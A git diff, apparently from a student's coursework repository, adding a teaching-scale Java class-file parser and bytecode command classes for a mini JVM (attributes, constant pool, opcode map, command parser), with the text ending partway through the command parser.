 .../week08/jvm/constant/NullConstantInfo.java |  17 +
 .../src/week08/jvm/constant/StringInfo.java   |  32 ++
 .../src/week08/jvm/constant/UTF8Info.java     |  37 ++
 .../week08/jvm/engine/ExecutionResult.java    |  53 +++
 .../src/week08/jvm/engine/ExecutorEngine.java |  82 +++++
 .../zhouhui/src/week08/jvm/engine/Heap.java   |  39 +++
 .../src/week08/jvm/engine/JavaObject.java     |  71 ++++
 .../src/week08/jvm/engine/MethodArea.java     |  87 +++++
 .../src/week08/jvm/engine/MiniJVM.java        |  28 ++
 .../src/week08/jvm/engine/StackFrame.java     | 131 +++++++
 .../zhouhui/src/week08/jvm/field/Field.java   |  50 +++
 .../week08/jvm/loader/ByteCodeIterator.java   |  57 +++
 .../week08/jvm/loader/ClassFileLoader.java    | 123 +++++++
 .../week08/jvm/loader/ClassFileParser.java    | 176 ++++++++++
 .../zhouhui/src/week08/jvm/method/Method.java | 155 +++++++++
 .../week08/jvm/print/ClassFilePrinter.java    |  52 +++
 .../week08/jvm/print/ConstantPoolPrinter.java | 103 ++++++
 .../week08/jvm/test/ClassFileloaderTest.java  | 329 ++++++++++++++++++
 .../src/week08/jvm/test/EmployeeV1.java       |  28 ++
 .../src/week08/jvm/test/MiniJVMTest.java      |  28 ++
 .../zhouhui/src/week08/jvm/util/Util.java     |  24 ++
 .../zhouhui/src/week08/queue/CircleQueue.java |  50 +++
 .../zhouhui/src/week08/queue/Josephus.java    |  32 ++
 .../zhouhui/src/week08/queue/Queue.java       |  61 ++++
 .../src/week08/queue/QueueWithTwoStacks.java  |  46 +++
 .../week08/queue/test/CircleQueueTest.java    |  43 +++
 .../src/week08/queue/test/JosephusTest.java   |  29 ++
 .../src/week08/queue/test/QueueTest.java      |  46 +++
 .../queue/test/QueueWithTwoStacksTest.java    |  46 +++
 57 files changed, 3486 insertions(+)
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/attr/AttributeInfo.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/attr/CodeAttr.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/attr/LineNumberTable.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/attr/LocalVariableItem.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/attr/LocalVariableTable.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/attr/StackMapTable.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/clz/AccessFlag.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/clz/ClassFile.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/clz/ClassIndex.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/cmd/BiPushCmd.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/cmd/ByteCodeCommand.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/cmd/CommandParser.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/cmd/GetFieldCmd.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/cmd/GetStaticFieldCmd.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/cmd/InvokeSpecialCmd.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/cmd/InvokeVirtualCmd.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/cmd/LdcCmd.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/cmd/NewObjectCmd.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/cmd/NoOperandCmd.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/cmd/OneOperandCmd.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/cmd/PutFieldCmd.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/cmd/TwoOperandCmd.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/constant/ClassInfo.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/constant/ConstantInfo.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/constant/ConstantPool.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/constant/FieldRefInfo.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/constant/MethodRefInfo.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/constant/NameAndTypeInfo.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/constant/NullConstantInfo.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/constant/StringInfo.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/constant/UTF8Info.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/engine/ExecutionResult.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/engine/ExecutorEngine.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/engine/Heap.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/engine/JavaObject.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/engine/MethodArea.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/engine/MiniJVM.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/engine/StackFrame.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/field/Field.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/loader/ByteCodeIterator.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/loader/ClassFileLoader.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/loader/ClassFileParser.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/method/Method.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/print/ClassFilePrinter.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/print/ConstantPoolPrinter.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/test/ClassFileloaderTest.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/test/EmployeeV1.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/test/MiniJVMTest.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/jvm/util/Util.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/queue/CircleQueue.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/queue/Josephus.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/queue/Queue.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/queue/QueueWithTwoStacks.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/queue/test/CircleQueueTest.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/queue/test/JosephusTest.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/queue/test/QueueTest.java
 create mode 100644 group01/1814014897/zhouhui/src/week08/queue/test/QueueWithTwoStacksTest.java

diff --git a/group01/1814014897/zhouhui/src/week08/jvm/attr/AttributeInfo.java b/group01/1814014897/zhouhui/src/week08/jvm/attr/AttributeInfo.java
new file mode 100644
index 0000000000..d4e2cffaa5
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/attr/AttributeInfo.java
@@ -0,0 +1,19 @@
+package week08.jvm.attr;
+
+public abstract class AttributeInfo {
+	public static final String CODE = "Code";
+	public static final String CONST_VALUE = "ConstantValue";
+	public static final String EXCEPTIONS = "Exceptions";
+	public static final String LINE_NUM_TABLE = "LineNumberTable";
+	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
+	public static final String STACK_MAP_TABLE = "StackMapTable";
+	int attrNameIndex;				
+	int attrLen ;
+	public AttributeInfo(int attrNameIndex, int attrLen) {
+		
+		this.attrNameIndex = attrNameIndex;
+		this.attrLen = attrLen;
+	}
+	
+	
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/attr/CodeAttr.java b/group01/1814014897/zhouhui/src/week08/jvm/attr/CodeAttr.java
new file mode 100644
index 0000000000..497f218027
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/attr/CodeAttr.java
@@ -0,0 +1,116 @@
+package week08.jvm.attr;
+
+import week08.jvm.attr.AttributeInfo;
+import week08.jvm.attr.CodeAttr;
+import week08.jvm.attr.LineNumberTable;
+import week08.jvm.attr.LocalVariableTable;
+import week08.jvm.attr.StackMapTable;
+import week08.jvm.clz.ClassFile;
+import week08.jvm.cmd.ByteCodeCommand;
+import week08.jvm.cmd.CommandParser;
+import week08.jvm.constant.ConstantPool;
+import week08.jvm.loader.ByteCodeIterator;
+
+public class CodeAttr extends AttributeInfo {
+	private int maxStack;
+	private int maxLocals;
+	private int codeLen;
+	private String code;
+
+	public String getCode() {
+		return code;
+	}
+
+	private ByteCodeCommand[] cmds;
+
+	public ByteCodeCommand[] getCmds() {
+		return cmds;
+	}
+
+	private LineNumberTable lineNumTable;
+	private LocalVariableTable localVarTable;
+	private StackMapTable stackMapTable;
+
+	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen, String code,
+			ByteCodeCommand[] cmds) {
+		super(attrNameIndex, attrLen);
+		this.maxStack = maxStack;
+		this.maxLocals = maxLocals;
+		this.codeLen = codeLen;
+		this.code = code;
+		this.cmds = cmds;
+	}
+
+	public void setLineNumberTable(LineNumberTable t) {
+		this.lineNumTable = t;
+	}
+
+	public void setLocalVariableTable(LocalVariableTable t) {
+		this.localVarTable = t;
+	}
+
+	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter) {
+		int attrNameIndex = iter.nextU2ToInt();
+		int attrLen = iter.nextU4ToInt();
+		int maxStack = iter.nextU2ToInt();
+		int maxLocals = iter.nextU2ToInt();
+		int codeLen = iter.nextU4ToInt();
+
+		String code = iter.nextUxToHexString(codeLen);
+
+		System.out.println(code);
+
+		ByteCodeCommand[] cmds = CommandParser.parse(clzFile, code);
+
+		CodeAttr codeAttr = new CodeAttr(attrNameIndex, attrLen, maxStack, maxLocals, codeLen, code, cmds);
+
+		int exceptionTableLen = iter.nextU2ToInt();
+
+		if (exceptionTableLen > 0) {
+			String exTable = iter.nextUxToHexString(exceptionTableLen);
+			System.out.println("Encountered exception table,just ignore it");
+		}
+
+		int subAttrCount = iter.nextU2ToInt();
+
+		for (int i = 1; i <= subAttrCount; i++) {
+			int subAttrIndex = iter.nextU2ToInt();
+			String subAttrName = clzFile.getConstantPool().getUTF8String(subAttrIndex);
+
+			iter.back(2);
+
+			if (AttributeInfo.LINE_NUM_TABLE.equalsIgnoreCase(subAttrName)) {
+				LineNumberTable t = LineNumberTable.parse(iter);
+				codeAttr.setLineNumberTable(t);
+			} else if (AttributeInfo.LOCAL_VAR_TABLE.equalsIgnoreCase(subAttrName)) {
+				LocalVariableTable t = LocalVariableTable.parse(iter);
+				codeAttr.setLocalVariableTable(t);
+			} else if (AttributeInfo.STACK_MAP_TABLE.equalsIgnoreCase(subAttrName)) {
+				StackMapTable t = StackMapTable.parse(iter);
+				codeAttr.setStackMapTable(t);
+			} else {
+				throw new RuntimeException("Need code to process " + subAttrName);
+			}
+		}
+
+		return codeAttr;
+	}
+
+	public String toString(ConstantPool pool) {
+		StringBuilder buffer = new StringBuilder();
+		// buffer.append("Code:").append(code).append("\n");
+		for (int i = 0; i < cmds.length; i++) {
+			buffer.append(cmds[i].toString(pool)).append("\n");
+		}
+		buffer.append("\n");
+		buffer.append(this.lineNumTable.toString());
+		buffer.append(this.localVarTable.toString(pool));
+		return buffer.toString();
+	}
+
+	private void setStackMapTable(StackMapTable t) {
+		this.stackMapTable = t;
+
+	}
+
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/attr/LineNumberTable.java b/group01/1814014897/zhouhui/src/week08/jvm/attr/LineNumberTable.java
new file mode 100644
index 0000000000..b9cc3de62c
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/attr/LineNumberTable.java
@@ -0,0 +1,71 @@
+package week08.jvm.attr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import week08.jvm.attr.LineNumberTable;
+import week08.jvm.loader.ByteCodeIterator;
+
+public class LineNumberTable extends AttributeInfo {
+	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
+
+	private static class LineNumberItem {
+		int startPC;
+		int lineNum;
+
+		public int getStartPC() {
+			return startPC;
+		}
+
+		public void setStartPC(int startPC) {
+			this.startPC = startPC;
+		}
+
+		public int getLineNum() {
+			return lineNum;
+		}
+
+		public void setLineNum(int lineNum) {
+			this.lineNum = lineNum;
+		}
+	}
+
+	public void addLineNumberItem(LineNumberItem item) {
+		this.items.add(item);
+	}
+
+	public LineNumberTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);
+
+	}
+
+	public static LineNumberTable parse(ByteCodeIterator iter) {
+		int index = iter.nextU2ToInt();
+		int len = iter.nextU4ToInt();
+
+		LineNumberTable table = new LineNumberTable(index, len);
+
+		int itemLen = iter.nextU2ToInt();
+
+		for (int i = 1; i <= itemLen; i++) {
+			LineNumberItem item = new LineNumberItem();
+			item.setStartPC(iter.nextU2ToInt());
+			item.setLineNum(iter.nextU2ToInt());
+			table.addLineNumberItem(item);
+		}
+		return table;
+	}
+
+	public String toString() {
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Line Number Table:\n");
+		for (LineNumberItem item : items) {
+			buffer.append("startPC:" + item.getStartPC()).append(",");
+			buffer.append("lineNum:" + item.getLineNum()).append("\n");
+		}
+		buffer.append("\n");
+		return buffer.toString();
+
+	}
+
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/attr/LocalVariableItem.java b/group01/1814014897/zhouhui/src/week08/jvm/attr/LocalVariableItem.java
new file mode 100644
index 0000000000..5c3ea9521a
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/attr/LocalVariableItem.java
@@ -0,0 +1,39 @@
+package week08.jvm.attr;
+
+public class LocalVariableItem {
+	private int startPC;
+	private int length;
+	private int nameIndex;
+	private int descIndex;
+	private int index;
+	public int getStartPC() {
+		return startPC;
+	}
+	public void setStartPC(int startPC) {
+		this.startPC = startPC;
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public void setNameIndex(int nameIndex) {
+		this.nameIndex = nameIndex;
+	}
+	public int getDescIndex() {
+		return descIndex;
+	}
+	public void setDescIndex(int descIndex) {
+		this.descIndex = descIndex;
+	}
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/attr/LocalVariableTable.java b/group01/1814014897/zhouhui/src/week08/jvm/attr/LocalVariableTable.java
new file mode 100644
index 0000000000..ad4ca5a92d
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/attr/LocalVariableTable.java
@@ -0,0 +1,60 @@
+package week08.jvm.attr;
+
+
+import java.util.ArrayList;
+import java.util.List;
+
+import week08.jvm.attr.LocalVariableItem;
+import week08.jvm.attr.LocalVariableTable;
+import week08.jvm.constant.ConstantPool;
+
+import week08.jvm.loader.ByteCodeIterator;
+
+public class LocalVariableTable extends AttributeInfo{
+
+	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
+	
+	public LocalVariableTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+	
+	
+	private void addLocalVariableItem(LocalVariableItem item) {
+		this.items.add(item);		
+	}
+	
+	public static LocalVariableTable parse(ByteCodeIterator iter){
+		int index = iter.nextU2ToInt();
+		int len = iter.nextU4ToInt();
+
+		LocalVariableTable table = new LocalVariableTable(index, len);
+
+		int itemLen = iter.nextU2ToInt();
+
+		for (int i = 1; i <= itemLen; i++) {
+			LocalVariableItem item = new LocalVariableItem();
+			item.setStartPC(iter.nextU2ToInt());
+			item.setLength(iter.nextU2ToInt());
+			item.setNameIndex(iter.nextU2ToInt());
+			item.setDescIndex(iter.nextU2ToInt());
+			item.setIndex(iter.nextU2ToInt());
+			table.addLocalVariableItem(item);
+		}
+
+		return table;
+	}
+	
+	
+	public String toString(ConstantPool pool){
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Local Variable Table:\n");
+		for(LocalVariableItem item : items){
+			buffer.append("startPC:"+item.getStartPC()).append(",");
+			buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
+			buffer.append("desc:"+pool.getUTF8String(item.getDescIndex())).append(",");
+			buffer.append("slotIndex:"+ item.getIndex()).append("\n");
+		}
+		buffer.append("\n");
+		return buffer.toString();
+	}
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/attr/StackMapTable.java b/group01/1814014897/zhouhui/src/week08/jvm/attr/StackMapTable.java
new file mode 100644
index 0000000000..a95fc1cd0d
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/attr/StackMapTable.java
@@ -0,0 +1,30 @@
+package week08.jvm.attr;
+
+
+import week08.jvm.loader.ByteCodeIterator;
+
+public class StackMapTable extends AttributeInfo{
+	
+	private String originalCode;
+
+	public StackMapTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+
+	public static StackMapTable parse(ByteCodeIterator iter){
+		int index = iter.nextU2ToInt();
+		int len = iter.nextU4ToInt();
+		StackMapTable t = new StackMapTable(index,len);
+		
+		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
+		String code = iter.nextUxToHexString(len);
+		t.setOriginalCode(code);
+		
+		return t;
+	}
+
+	private void setOriginalCode(String code) {
+		this.originalCode = code;
+		
+	}
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/clz/AccessFlag.java b/group01/1814014897/zhouhui/src/week08/jvm/clz/AccessFlag.java
new file mode 100644
index 0000000000..17f0c41745
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/clz/AccessFlag.java
@@ -0,0 +1,25 @@
+package week08.jvm.clz;
+
+public class AccessFlag {
+	private int flagValue;
+
+	public AccessFlag(int value) {
+		this.flagValue = value;
+	}
+
+	public int getFlagValue() {
+		return flagValue;
+	}
+
+	public void setFlagValue(int flag) {
+		this.flagValue = flag;
+	}
+	
+	public boolean isPublicClass(){
+		return (this.flagValue & 0x0001) != 0;
+	}
+	public boolean isFinalClass(){
+		return (this.flagValue & 0x0010) != 0;
+	}
+	
+}
\ No newline at end of file
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/clz/ClassFile.java b/group01/1814014897/zhouhui/src/week08/jvm/clz/ClassFile.java
new file mode 100644
index 0000000000..3dd75f3649
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/clz/ClassFile.java
@@ -0,0 +1,117 @@
+package week08.jvm.clz;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import week08.jvm.constant.ClassInfo;
+import week08.jvm.constant.ConstantPool;
+import week08.jvm.field.Field;
+import week08.jvm.method.Method;
+
+public class ClassFile {
+	
+	private int minorVersion;
+	private int majorVersion;
+	
+	private AccessFlag accessFlag;
+	private ClassIndex clzIndex;
+	private ConstantPool pool;
+	private List<Field> fields = new ArrayList<Field>();
+	private List<Method> methods = new ArrayList<Method>();
+	
+	public ClassIndex getClzIndex() {
+		return clzIndex;
+	}
+	public AccessFlag getAccessFlag() {
+		return accessFlag;
+	}
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+	
+	
+	
+	public ConstantPool getConstantPool() {		
+		return pool;
+	}
+	public int getMinorVersion() {
+		return minorVersion;
+	}
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
+	}
+	public int getMajorVersion() {
+		return majorVersion;
+	}
+	public void setMajorVersion(int majorVersion) {
+		this.majorVersion = majorVersion;
+	}
+	public void setConstPool(ConstantPool pool) {
+		this.pool = pool;
+		
+	}
+	public void setClassIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;		
+	}
+	
+	public void addField(Field f){
+		this.fields.add(f);
+	}
+	public List<Field> getFields(){
+		return this.fields;
+	}
+	public void addMethod(Method m){
+		this.methods.add(m);
+	}
+	public List<Method> getMethods() {
+		return methods;
+	}
+	
+	
+	public void print(){
+		
+		if(this.accessFlag.isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ getClassName());
+		
+		System.out.println("Super Class Name:"+ getSuperClassName());
+		
+		
+	}
+	
+	public String getClassName(){
+		int thisClassIndex = this.clzIndex.getThisClassIndex();
+		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
+		return thisClass.getClassName();
+	}
+	public String getSuperClassName(){
+		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+		return superClass.getClassName();
+	}
+	
+	public Method getMethod(String methodName, String paramAndReturnType){
+		for(Method m : methods){
+			int nameIndex = m.getNameIndex();
+			int descIndex = m.getDescriptorIndex();
+			String name = this.getConstantPool().getUTF8String(nameIndex);
+			String desc = this.getConstantPool().getUTF8String(descIndex);
+			if(name.equals(methodName) && desc.equals(paramAndReturnType)){
+				return m;
+			}
+		}
+		return null;
+	}
+	public Method getMainMethod(){
+		for(Method m : methods){
+			int nameIndex = m.getNameIndex();
+			int descIndex = m.getDescriptorIndex();
+			String name = this.getConstantPool().getUTF8String(nameIndex);
+			String desc = this.getConstantPool().getUTF8String(descIndex);
+			if(name.equals("main") && desc.equals("([Ljava/lang/String;)V")){
+				return m;
+			}
+		}
+		return null;
+	}
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/clz/ClassIndex.java b/group01/1814014897/zhouhui/src/week08/jvm/clz/ClassIndex.java
new file mode 100644
index 0000000000..1f9c49ad9d
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/clz/ClassIndex.java
@@ -0,0 +1,19 @@
+package week08.jvm.clz;
+
+public class ClassIndex {
+	private int thisClassIndex;
+	private int superClassIndex;
+	
+	public int getThisClassIndex() {
+		return thisClassIndex;
+	}
+	public void setThisClassIndex(int thisClassIndex) {
+		this.thisClassIndex = thisClassIndex;
+	}
+	public int getSuperClassIndex() {
+		return superClassIndex;
+	}
+	public void setSuperClassIndex(int superClassIndex) {
+		this.superClassIndex = superClassIndex;
+	}
+}
\ No newline at end of file
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/cmd/BiPushCmd.java b/group01/1814014897/zhouhui/src/week08/jvm/cmd/BiPushCmd.java
new file mode 100644
index 0000000000..94151cfd8d
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/cmd/BiPushCmd.java
@@ -0,0 +1,32 @@
+package week08.jvm.cmd;
+
+import week08.jvm.clz.ClassFile;
+import week08.jvm.constant.ConstantPool;
+import week08.jvm.engine.ExecutionResult;
+import week08.jvm.engine.Heap;
+import week08.jvm.engine.JavaObject;
+import week08.jvm.engine.StackFrame;
+
+
+public class BiPushCmd extends OneOperandCmd {
+
+	public BiPushCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+	
+		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
+	}
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		
+		
+	}
+	
+	
+
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/cmd/ByteCodeCommand.java b/group01/1814014897/zhouhui/src/week08/jvm/cmd/ByteCodeCommand.java
new file mode 100644
index 0000000000..ae5abffb22
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/cmd/ByteCodeCommand.java
@@ -0,0 +1,129 @@
+package week08.jvm.cmd;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import week08.jvm.clz.ClassFile;
+import week08.jvm.constant.ConstantInfo;
+import week08.jvm.constant.ConstantPool;
+import week08.jvm.engine.ExecutionResult;
+import week08.jvm.engine.StackFrame;
+
+
+public abstract class ByteCodeCommand {	
+	String opCode;
+	ClassFile clzFile;	
+	private int offset;
+	
+	private static Map<String,String> codeMap = new HashMap<String,String>();
+	
+	static{
+		codeMap.put("01", "aconst_null");
+		
+		codeMap.put("BB", "new");
+		codeMap.put("37", "lstore");
+		codeMap.put("B7", "invokespecial");
+		codeMap.put("B6", "invokevirtual");
+		codeMap.put("B4", "getfield");
+		codeMap.put("B5", "putfield");
+		codeMap.put("B2", "getstatic");
+		
+		codeMap.put("2A", "aload_0");
+		codeMap.put("2B", "aload_1");
+		codeMap.put("2C", "aload_2");
+		
+		codeMap.put("10", "bipush");
+		codeMap.put("15", "iload");
+		codeMap.put("1A", "iload_0");
+		codeMap.put("1B", "iload_1");
+		codeMap.put("1C", "iload_2");
+		codeMap.put("1D", "iload_3");
+		
+		codeMap.put("25", "fload_3");
+		
+		codeMap.put("1E", "lload_0");
+		
+		codeMap.put("24", "fload_2");
+		codeMap.put("4C", "astore_1");
+		
+		codeMap.put("A2", "if_icmp_ge");
+		codeMap.put("A4", "if_icmple");
+		
+		codeMap.put("A7", "goto");
+		
+		codeMap.put("B1", "return");
+		codeMap.put("AC", "ireturn");
+		codeMap.put("AE", "freturn");
+		
+		codeMap.put("03", "iconst_0");
+		codeMap.put("04", "iconst_1");
+		
+		codeMap.put("3C", "istore_1");
+		codeMap.put("3D", "istore_2");
+		
+		codeMap.put("59", "dup");
+		
+		codeMap.put("60", "iadd");
+		codeMap.put("84", "iinc");
+		
+		codeMap.put("12", "ldc");
+	}
+	
+	
+
+	
+
+	protected ByteCodeCommand(ClassFile clzFile, String opCode){
+		this.clzFile = clzFile;
+		this.opCode = opCode;
+	}
+	
+	protected ClassFile getClassFile() {
+		return clzFile;
+	}
+	
+	public int getOffset() {
+		return offset;
+	}
+
+	public void setOffset(int offset) {
+		this.offset = offset;
+	}
+	protected ConstantInfo getConstantInfo(int index){
+		return this.getClassFile().getConstantPool().getConstantInfo(index);
+	}
+	
+	protected ConstantPool getConstantPool(){
+		return this.getClassFile().getConstantPool();
+	}
+	
+	
+	
+	public String getOpCode() {
+		return opCode;
+	}
+
+	public abstract int getLength();
+	
+	
+	
+	
+	public String toString(){
+		
+		StringBuffer buffer = new StringBuffer();
+		buffer.append(this.opCode);
+		
+		return buffer.toString();
+	}
+	public abstract String toString(ConstantPool pool);
+	
+	public String getReadableCodeText(){
+		String txt = codeMap.get(opCode);
+		if(txt == null){
+			return opCode;
+		}
+		return txt;
+	}
+	
+	public abstract void execute(StackFrame frame,ExecutionResult result);
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/cmd/CommandParser.java b/group01/1814014897/zhouhui/src/week08/jvm/cmd/CommandParser.java
new file mode 100644
index 0000000000..a73226f68b
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/cmd/CommandParser.java
@@ -0,0 +1,157 @@
+package week08.jvm.cmd;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import week08.jvm.cmd.BiPushCmd;
+import week08.jvm.cmd.ByteCodeCommand;
+import week08.jvm.cmd.GetFieldCmd;
+import week08.jvm.cmd.GetStaticFieldCmd;
+import week08.jvm.cmd.InvokeSpecialCmd;
+import week08.jvm.cmd.InvokeVirtualCmd;
+import week08.jvm.cmd.LdcCmd;
+import week08.jvm.cmd.NewObjectCmd;
+import week08.jvm.cmd.NoOperandCmd;
+import week08.jvm.cmd.PutFieldCmd;
+import week08.jvm.clz.ClassFile;
+
+public class CommandParser {
+	
+	public static final String aconst_null = "01";
+	public static final String new_object = "BB";
+	public static final String lstore = "37";
+	public static final String invokespecial = "B7";
+	public static final String invokevirtual = "B6";
+	public static final String getfield = "B4";
+	public static final String putfield = "B5";
+	public static final String getstatic = "B2";
+	public static final String ldc = "12";
+	public static final String dup = "59";
+	public static final String bipush = "10";
+	public static final String aload_0 = "2A";
+	public static final String aload_1 = "2B";
+	public static final String aload_2 = "2C";
+	public static final String iload = "15";
+	public static final String iload_1 = "1B";
+	public static final String iload_2 = "1C";
+	public static final String iload_3 = "1D";
+	public static final String fload_3 = "25";
+
+	public static final String voidreturn = "B1";
+	public static final String ireturn = "AC";
+	public static final String freturn = "AE";
+
+	public static final String astore_1 = "4C";
+	public static final String if_icmp_ge = "A2";
+	public static final String if_icmple = "A4";
+	public static final String goto_no_condition = "A7";
+	public static final String iconst_0 = "03";
+	public static final String iconst_1 = "04";
+	public static final String istore_1 = "3C";
+	public static final String istore_2 = "3D";
+	public static final String iadd = "60";
+	public static final String iinc = "84";
+
+	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
+		if (codes == null || codes.length() == 0) {
+			throw new RuntimeException("error codes");
+		}
+
+		codes = codes.toUpperCase();
+
+		CommandIterator iter = new CommandIterator(codes);
+		List<ByteCodeCommand> cmds = new ArrayList<ByteCodeCommand>();
+
+		while (iter.hasNext()) {
+			String opCode = iter.next2CharAsString();
+
+			if (new_object.equals(opCode)) {
+				NewObjectCmd cmd = new NewObjectCmd(clzFile, opCode);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (invokespecial.equals(opCode)) {
+				InvokeSpecialCmd cmd = new InvokeSpecialCmd(clzFile, opCode);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (invokevirtual.equals(opCode)) {
+				InvokeVirtualCmd cmd = new InvokeVirtualCmd(clzFile, opCode);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (getfield.equals(opCode)) {
+				GetFieldCmd cmd = new GetFieldCmd(clzFile, opCode);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
